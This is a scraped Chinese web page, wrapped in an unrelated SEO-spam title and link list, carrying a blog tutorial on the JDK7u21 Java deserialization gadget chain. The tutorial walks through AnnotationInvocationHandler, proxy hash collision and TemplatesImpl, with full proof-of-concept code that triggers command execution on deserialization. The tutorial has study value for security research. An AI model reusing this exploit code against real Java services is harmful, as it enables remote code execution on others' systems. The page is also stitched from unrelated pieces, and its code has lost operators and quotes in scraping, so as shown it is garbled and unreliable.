当前位置: 首页 > news >正文

cms网站是什么做网站的运营维护都要学什么

cms网站是什么,做网站的运营维护都要学什么,wordpress openid,自适应网站模板怎么做文章目录 【java安全】原生反序列化利用链JDK7u21前言原理equalsImpl()如何调用equalsImpl()#xff1f;HashSet通过反序列化间接执行equals()方法如何使hash相等#xff1f; 思路整理POCGadget为什么在HashSet#add()前要将HashMap的value设为其他值#xff1f; 【java安全】… 文章目录 【java安全】原生反序列化利用链JDK7u21前言原理equalsImpl()如何调用equalsImpl()HashSet通过反序列化间接执行equals()方法如何使hash相等 思路整理POCGadget为什么在HashSet#add()前要将HashMap的value设为其他值 【java安全】原生反序列化利用链JDK7u21 前言 前面我们学习了使用第三方类Common-Collections、Common-Beanutils进行反序列化利用。我们肯定会想如果不利用第三方类库能否进行反序列化利用链呢这里还真有JDK7u21。但是只适用于java 7u及以前的版本 在使用这条利用链时需要设置jdk为jdk7u21 原理 JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler没错就是我们之前学习过的那个类位于sun.reflect.annotation包下 equalsImpl() 我们看一下equalsImpl()、getMemberMethods方法 private Boolean equalsImpl(Object var1) { //传入var1...} else {Method[] var2 this.getMemberMethods();int var3 var2.length;for(int var4 0; var4 var3; var4) {Method var5 var2[var4]; // var5是一个方法对象String var6 var5.getName();Object var7 this.memberValues.get(var6);Object var8 null;AnnotationInvocationHandler var9 this.asOneOfUs(var1);if (var9 ! null) {var8 var9.memberValues.get(var6);} else {try {var8 var5.invoke(var1); // 这里会调用var1这个对象的var5方法} ...return true;}}private transient volatile Method[] memberMethods null;private Method[] getMemberMethods() {if (this.memberMethods null) {this.memberMethods (Method[])AccessController.doPrivileged(new PrivilegedActionMethod[]() {public Method[] run() {Method[] var1 AnnotationInvocationHandler.this.type.getDeclaredMethods(); //获得Method[]AccessibleObject.setAccessible(var1, true);return var1;}});}return this.memberMethods;}equalsImpl()方法中明显会调用memberMethod.invoke(o) 而memberMethod来自于this.type.getDeclaredMethods() 如果我们此时传入invoke()中的形参为TemplatesImpl对象并且this.type是TemplatesImpl的字节码对象。 那么经过循环就会调用TemplatesImpl对象中的每个方法就必然会调用newTransformer()或getOutputProperties()方法从而执行恶意字节码了 如何调用equalsImpl() 那么在哪里会调用equalsImpl()方法呢invoke() public Object invoke(Object var1, Method var2, Object[] var3) {String var4 var2.getName();Class[] var5 var2.getParameterTypes();//当执行invoke()方法时传入的方法名字为equals并且形参只有一个类型为Object就会执行 equalsImpl()if (var4.equals(equals) var5.length 1 var5[0] Object.class) {return this.equalsImpl(var3[0]); } else {assert var5.length 0;if (var4.equals(toString)) {return this.toStringImpl();} else if (var4.equals(hashCode)) {return this.hashCodeImpl();} else if (var4.equals(annotationType)) {return this.type;} else {Object var6 this.memberValues.get(var4); //cc1...}}}我们之前cc1中是另this.memberValues等于一个LazyMap对象让其调用get()方法就可以执行cc1利用链了 但是这里我们不需要利用这里我们需要注意这里 //当执行invoke()方法时传入的方法名字为equals并且形参只有一个类型为Object就会执行 equalsImpl() if (var4.equals(equals) var5.length 1 var5[0] Object.class) {return this.equalsImpl(var3[0]); }我们应该思考这里的invoke()方法如何被调用并且刚好使形参的第二个为equals、第三个参数的类型为Object对象 我们之前学习过动态代理当一个代理对象Proxy调用一个方法时就会调用构造该代理对象时传入的InvocationHandler的invoke()方法并且第二个参数为methodName方法名invoke()第三个参数为调用方法时传入的参数 所以现在我们需要找到一个类他在反序列化时会间接的对Proxy对象调用equals()方法 HashSet通过反序列化间接执行equals()方法 HashSet可以做到这个效果实现这个效果有一点复杂我们先大致了解一下过程 我们创建一个LinkedHashSet对象当反序列化时会遍历每一个值使用LinkedHashMap#put()方法 put()方法中这几行是重点 int hash hash(key); //计算key的hash值 int i indexFor(hash, table.length); //这个i也是hash for (EntryK,V e table[i]; e ! null; e e.next) {Object k;if (e.hash hash ((k e.key) key || key.equals(k))) //重点这里会对key的hash与表中取出的e的hash做一个比较如果这俩个hash相等但是又不是同一个对象的化就会执行key的equals()方法传入参数k 这里我们假设key是Proxy代理对象并且这里传入的k是一个TemplatesImpl恶意对象那么就会执行AnnotationInvocationHandler的invoke()方法从而执行equalsImpl()中的invoke()方法 最终调用了TemplatesImpl恶意对象的newTransformer()方法RCE 我们怎么控制上面的key以及ke.key呢 其实我们上面已经分析了一下这个key和k其实就是我们添加进入LinkedHashSet中的元素而已 // 实例化HashSet并将两个对象放进去 HashSet set new LinkedHashSet(); set.add(templates); set.add(proxy);我们应该先添加TemplatesImpl对象再添加Proxy代理对象这样才好触发key.equals(k) 如何使hash相等 我们上面其实默认了一个前提那就是e.hash hash 。其实这两个默认肯定不相等我们需要一些小操作使其相等 我们先来看看HashMap中的hash()方法 final int hash(Object k) {...h ^ k.hashCode();h ^ (h 20) ^ (h 12);return h ^ (h 7) ^ (h 4);}这里自始至终只用到了一个变量k.hashCode()其他的都相等我们想要Proxy和TemplateImpl的hash相等其实只需要让k.hashCode()相等即可 TemplateImpl的 hashCode() 是一个Native方法每次运 行都会发生变化我们理论上是无法预测的所以想让proxy的 hashCode() 与之相等只能寄希望于 proxy.hashCode() 当我们调用proxy.hashCode()时就会调用创建改代理对象时传入的InvocationHandler对象的invoke()方法我们继续看看invoke() public Object invoke(Object var1, Method var2, Object[] var3) {String var4 var2.getName();Class[] var5 var2.getParameterTypes();} else if (var4.equals(hashCode)) {return this.hashCodeImpl();}...}}可见会继续调用invoke()中的hashCodeImpl()方法 private int hashCodeImpl() {int var1 0;Map.Entry var3;for(Iterator var2 this.memberValues.entrySet().iterator(); var2.hasNext(); var1 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {var3 (Map.Entry)var2.next();}return var1;}重点是下面这一句var1是计算累加和的如果this.memberValues是一个HashMap类型并且其中只有一个元素那么函数的返回值就变成了这个了 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()) 即 127 * key.hashCode() ^ value.hashCode()我们想让Proxy和TemplateImpl的hash相等并且TemplateImplhash不可控。 上述代码中如果我们令key.hashCode()0并且我们令value 等于TemplateImpl对象那么这两个的hash就相等了进而可以执行Proxy的equals()方法了 我们需要找到一个值的hashCode为0是可以通过爆破来实现的 public static void bruteHashCode() {for (long i 0; i 9999999999L; i) {if (Long.toHexString(i).hashCode() 0) {System.out.println(Long.toHexString(i));}} }跑出来第一个是 f5a5a608 这个也是ysoserial中用到的字符串 思路整理 讲完了这么多我们理清一下思路 先创建一个恶意TemplatesImpl对象 TemplatesImpl templates new TemplatesImpl(); setFieldValue(templates,_bytecodes,new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()}); setFieldValue(templates, _name, HelloTemplatesImpl); setFieldValue(templates, _tfactory, new TransformerFactoryImpl());为了使Proxy和TemplateImpl的hash相等以便执行equals()我们需要让AnnotationInvocationHandler的this.memberValues等于一个HashMap并且只有一个元素key为f5a5a608value为TemplateImpl对象这样由AnnotationInvocationHandler组成的代理对象proxy与TemplateImpl的hash就会相等 所以创建一个HashMap // 实例化一个map并添加Magic Number为key也就是f5a5a608value先随便设置一个值 HashMap map new HashMap(); map.put(zeroHashCodeStr, foo);实例化 AnnotationInvocationHandler 对象 它的type属性是一个TemplateImpl类它的memberValues属性是一个MapMap只有一个key和valuekey是字符串 f5a5a608 value是前面生成的恶意TemplateImpl对象 实例化AnnotationInvocationHandler类将map传参进去经过构造函数设置为memberValues 由于equalImpl()方法会调用memberMethod.invoke(o)这个memberMethod来自this.type.getDeclaredMethods()所以需要设置type为TemplatesImpl的 字节码这里构造函数会将第一个参数设为type Constructor handlerConstructor Class.forName(sun.reflect.annotation.AnnotationInvocationHandler).getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);在创建核心的LinkedHashSet之前我们需要创建一个代理对象将tempHandler给传进去 // 为tempHandler创造一层代理 Templates proxy (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);然后实例化HashSet // 实例化HashSet并将两个对象放进去 HashSet set new LinkedHashSet(); set.add(templates); set.add(proxy);添加的先后顺序要注意一下Proxy应该放在后面这样才会调用Proxy#equals() 这样在反序列化触发rce的流程如下 首先触发HashSet的readObject()方法然后集合中的值会使用LinkedHasnMap的put(key,常数)方法进行key去重 去重时计算元素的hashcode由于我们已经构造其相等所以会触发Proxy#equals()方法 进而调用AnnotationInvocationHandler#invoke()- AnnotationInvocationHandler#equalsImpl()方法 equalsImpl()会遍历type的每个方法并调用。 因为this.type是TemplatesImpl字节码对象所以最终会触发newTransformer()造成RCE POC import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates new TemplatesImpl();setFieldValue(templates,_bytecodes,new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, _name, HelloTemplatesImpl);setFieldValue(templates, _tfactory, new TransformerFactoryImpl());String zeroHashCodeStr f5a5a608;// 实例化一个map并添加Magic Number为key也就是f5a5a608value先随便设置一个值HashMap map new HashMap();map.put(zeroHashCodeStr, foo);// 实例化AnnotationInvocationHandler类Constructor handlerConstructor Class.forName(sun.reflect.annotation.AnnotationInvocationHandler).getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);// 为tempHandler创造一层代理Templates proxy (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);// 实例化HashSet并将两个对象放进去HashSet set new LinkedHashSet();set.add(templates);set.add(proxy);// 将恶意templates设置到map中map.put(zeroHashCodeStr, templates);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(barr);oos.writeObject(set);oos.close();System.out.println(barr);ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o (Object)ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);} }Gadget HashSet#readObject()LinkedHashMap#put(e, PRESENT)Proxy#equals(k)AnnotationInvocationHandler#invoke()equalsImpl()TemplatesImpl#newTransformer()...ClassLoader.defineClass()...Runtime.exec()为什么在HashSet#add()前要将HashMap的value设为其他值 我们追踪一下HashSet#add()方法发现他也会调用HashMap#put()方法这样就会导致Proxy提前触发equals()方法造成命令执行 我们测试一下 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates new TemplatesImpl();setFieldValue(templates,_bytecodes,new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, _name, HelloTemplatesImpl);setFieldValue(templates, _tfactory, new TransformerFactoryImpl());String zeroHashCodeStr f5a5a608;HashMap map new HashMap();map.put(zeroHashCodeStr, templates); //value再这里设为templatesConstructor handlerConstructor Class.forName(sun.reflect.annotation.AnnotationInvocationHandler).getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);Templates proxy (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);HashSet set new LinkedHashSet();set.add(templates);set.add(proxy);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);} }成功不经过反序列化就弹出计算器 所以我们需要先将HashMap的唯一一个元素的value设为其他值
http://www.tj-hxxt.cn/news/133552.html

相关文章:

  • 北京网站建设app软件工程师证书有用吗
  • 房地产开发公司网站建设方案创业商机网加工项目
  • 网站设置关键字文创产品设计包括哪些方面
  • 淘宝客网站如何备案免费推广工具
  • 网站页面设计服务网站插件代码
  • 建设网站需求文档word 调用wordpress
  • 重庆网站seo公司哪家好多城市网站建设
  • 宁波自助模板建站余姚网站建设服务
  • 打开陕西建设厅网站电脑制作网站教程
  • 做网站找什么公司好网页设计范例
  • 网站域名怎么选择深圳市深度设计咨询有限公司
  • 建立网站赚钱开发一个彩票网站多少钱
  • 17模板网站数字营销传播
  • 太仓住房和城乡建设局网站有优惠券网站 怎么做代理
  • 网站与微信区别宝塔window搭建wordpress
  • 安庆做网站企业网站做qq链接
  • 闵行网站搭建哪里有网站模板大全 优帮云
  • 揭阳专业做网站深圳系统网站开发
  • 开发区网站制作公司关于企业网站建设数据现状分析
  • 网站刷新新前台是什么意思龙华龙岗光明最新通告
  • 潍坊网站排名推广wordpress标签3d
  • 网站开发资源网太原王建设
  • 网站制作不用备案做一个网站中的搜索功能怎么做
  • html 模板网站怎么把网站改为正在建设中
  • 北京建站公司兴田德润很好西安微信公众号制作
  • 播视频网站开发外包公司
  • 广州高端网站定制开发价格管理咨询师考试
  • 做网站商城需要申请商标吗wordpress微信公众号采集插件
  • 郑州一建集团公司官网珠海百度搜索排名优化
  • 制作网站的完整步骤天津市市建设与管理局网站